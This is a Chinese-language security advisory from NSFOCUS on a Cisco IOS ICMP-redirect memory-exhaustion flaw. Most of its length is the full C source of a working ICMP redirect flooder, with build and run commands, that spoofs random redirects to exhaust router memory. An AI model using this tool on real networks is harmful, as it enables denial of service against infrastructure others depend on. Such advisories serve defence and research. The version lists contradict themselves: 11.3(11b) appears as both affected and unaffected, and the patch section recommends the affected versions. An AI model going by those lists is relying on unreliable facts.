首页 -> 安全研究

安全研究

安全漏洞
Cisco IOS ICMP重定向拒绝服务攻击漏洞

发布日期:2002-05-21
更新日期:2002-05-27

受影响系统:

Cisco IOS 12.0 (3)
Cisco IOS 11.3 (11b)
Cisco IOS 11.1 (24a)
Cisco IOS 11.0 (22a)
Cisco IOS 11.0 (18)
不受影响系统:

Cisco IOS 12.2 (5)
Cisco IOS 12.1 (11)
Cisco IOS 12.0 (19)
Cisco IOS 11.3 (11b)
Cisco IOS 11.2 (26a)
描述:

BUGTRAQ  ID: 4786

IOS是一款使用在CISCO路由器上的操作系统,由CISCO分发和维护。

部分CISCO路由器在处理大量伪造ICMP重定向信息时存在漏洞,可导致远程攻击者进行拒绝服务攻击。

ICMP重定向信息用于在IP网络中通知发送设备有关效率低的路由信息,Cisco IOS软件接收到此类ICMP重定向信息后会存储在内存中以便后续的参考,它们不成为普通路由表的一部分。

当产生ICMP重定向信息时在ICMP帧中的"offending packet"部分使用随机IP地址,IOS就会把这个IP地址包含在ICMP重定向表中,在受此漏洞影响的IOS中,此表没有对其大小进行限制,所以攻击者可以发送大量此类不正常的ICMP重定向信息而导致IOS软件消耗大量内存,产生拒绝服务攻击。

不受此漏洞影响的IOS软件对重定向条目进行限制,为16000条,大约会使用1.16MB大小的内存。

<*来源:FX (fx@phenoelit.de
  
  链接:http://www.phenoelit.de/stuff/CiscoICMP.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


FX (fx@phenoelit.de)提供了如下测试方法:

使用下面的icmp_redflod.c程序,并与IRPAS库连接:

linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>

FX(fx@phenoelit.de) 提供了如下测试程序:

/* ICMP redirect flooder
*
* FX <fx@phenoelit.de>
* Phenoelit (http://www.phenoelit.de)
* (c) 2k++
*
* $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <time.h>

#include "protocols.h"
#include "packets.h"
#include "build.h"

#include <pcap.h>
#include <net/bpf.h>

/* definitions */
#define IPTTL        0x80

#define DEFAULT_DELAY    100000

#define BANNER        "ICMP Redir Flooder $Revision: 1.3 $\n"\
            "\t(c) 2k++ FX <fx@phenoelit.de>\n"\
            "\tPhenoelit (http://www.phenoelit.de)\n"

/* config */
struct {
    int            verbose;
    char        *device;
    int            flood;

    int            spoof_src;
    int            code;
    struct in_addr    dest;
    struct in_addr    src;
    struct in_addr    gw;
    unsigned int    delay;
} cfg;


/*
* globals
*/
u_char            *rawpacket;
int            icmpsfd;

sig_atomic_t        stop_flag=0;
unsigned long        iii=0;


/************************************
* prototypes */
void    usage(char *n);

u_char    *construct_icmp_redirect(struct in_addr *dest,
    struct in_addr *newgw, int *psize);

/* PCAP */
void    signaler(int sig);


/* the main function */
int    main(int argc, char **argv) {
    char        option;
    extern char        *optarg;
    u_char        *icp;
    int            icl;


    memset(&cfg,0,sizeof(cfg));
    cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;
    while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) {
    switch (option) {
        case 'v':    /* verbose */
            cfg.verbose++;
            break;
        case 'f':    cfg.flood=0;
            break;
        case 'i':    /* local network device */
            cfg.device=smalloc(strlen(optarg)+1);
            strcpy(cfg.device,optarg);
            break;
            break;
        case 'S':    /* spoof source */
            if (inet_aton(optarg,&(cfg.src))==0) {
                fprintf(stderr,
                    "source IP address seems to be wrong\n");
                return (1);
            }
            cfg.spoof_src++;
            break;
        case 'G':    /* set gw */
            if (inet_aton(optarg,&(cfg.gw))==0) {
                fprintf(stderr,
                    "Gateway IP address seems to be wrong\n");
                return (1);
            }
            break;
        case 'D':    /* dest address */
            if (inet_aton(optarg,&(cfg.dest))==0) {
                fprintf(stderr,
                    "dest IP address seems to be wrong\n");
                return (1);
            }
            break;
        case 'w':    cfg.delay=atoi(optarg);
            break;
        case 'c':    cfg.code=atoi(optarg);
            break;
        default:    usage(argv[0]);
    }
    }

    if (!cfg.device) usage(argv[0]);

    /*
     * TODO: add output on what we are about to do
     */
    

    srand((unsigned int)time(NULL));
    /* set up ICMP sender socket (IP) */
    if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);
    
    /* if spoofing is enabled, copy it */
    if (!cfg.spoof_src) {
    memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);
    }

    /* signal handling */
    signal(SIGTERM,&signaler);
    signal(SIGABRT,&signaler);
    signal(SIGINT,&signaler);

    /* my shit */
    printf(BANNER); printf("\tIRPAS build %s\n",BUILD);
    printf("Performing flood ...\n");

    if (cfg.flood) {
    while (!stop_flag) {
        icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
        sendpack_IP4(icmpsfd,icp,icl);
        free(icp);
        if (cfg.delay>0) usleep(cfg.delay);
    }
    } else {
    icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
    sendpack_IP4(icmpsfd,icp,icl);
    free(icp);
    }

    /* at the end of the day, close our socket */
    close(icmpsfd);
    printf("Send %lu packets\n",iii);

    return (0);
}




/********************** FUNCTIONS **********************/


void    signaler(int sig) {
    stop_flag++;
    if (cfg.verbose>2)
    fprintf(stderr,"\nSignal received.\n");
}


/* constructs the ICMP redirect
* * Returns a pointer to the packet or NULL if failed
* * returns also the size in *psize */
u_char    *construct_icmp_redirect(struct in_addr *dest,
    struct in_addr *newgw, int *psize) {
#define PADDING 0
    u_char            *tpacket;
    iphdr_t            *iph,*iporig;
    icmp_redirect_t        *icmp;
    u_int16_t            cs;
    unsigned int        randip;

    *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;
    tpacket=(u_char *)smalloc(*psize
        +3 /* for my checksum function, which sometimes
          steps over the mark */
        );

    /* make up IP packet */
    iph=(iphdr_t *)tpacket;

    iph->version=4;
    iph->ihl=sizeof(iphdr_t)/4;

    iph->tot_len=htons(*psize);
    iph->ttl=IPTTL;
    iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iph->protocol=IPPROTO_ICMP;

    memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);
    memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);

    /* make up the icmp header */
    icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));
    icmp->type=ICMP_REDIRECT;
    if (cfg.code==0xFF)
    icmp->code=ICMP_REDIR_HOST;
    else
    icmp->code=(unsigned char)cfg.code;
    memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);
    iporig=(iphdr_t *)(&(icmp->headerdata));

    iporig->version=4;
    iporig->ihl=sizeof(iphdr_t)/4;
    iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iporig->protocol=IPPROTO_UDP;
    memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);
    randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));
    memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);
    iii++;

    /* make up checksum */
    cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));
    icmp->checksum=cs;

    return tpacket;
}

void    usage(char *n) {
    printf(
        "%s [-v[v[v]]] [-f] -i <interface> \n"
        "\t[-D <destination IP>\n"
        "\t[-G <gateway IP>] [-w <delay>]\n"
        "\t[-S <ip address>] [-c ICMP code]\n",
        n);
    exit (1);
}

建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在Cisco IOS 11.x中设置规则限制ICMP重定向信息:

router(config)#access-list 101 deny icmp any host <device_IP> redirect
.... (the rest of the access-list 101)
router(config)#interface eth0
router(config-if)#ip access-group 101 in

此规则能限制通过eth0接口的ICMP重定向信息,而对其他接口的ICMP通信将不受限制。

厂商补丁:

Cisco
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.cisco.com/warp/public/707/advisory.html

或者请使用如下不受此漏洞影响IOS版本:

Cisco IOS 11.0 (22a):
Cisco IOS 11.0 (18):
Cisco IOS 11.1 (24a):
Cisco IOS 11.3 (11b):
Cisco IOS 12.0 (3):



浏览次数:4794
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障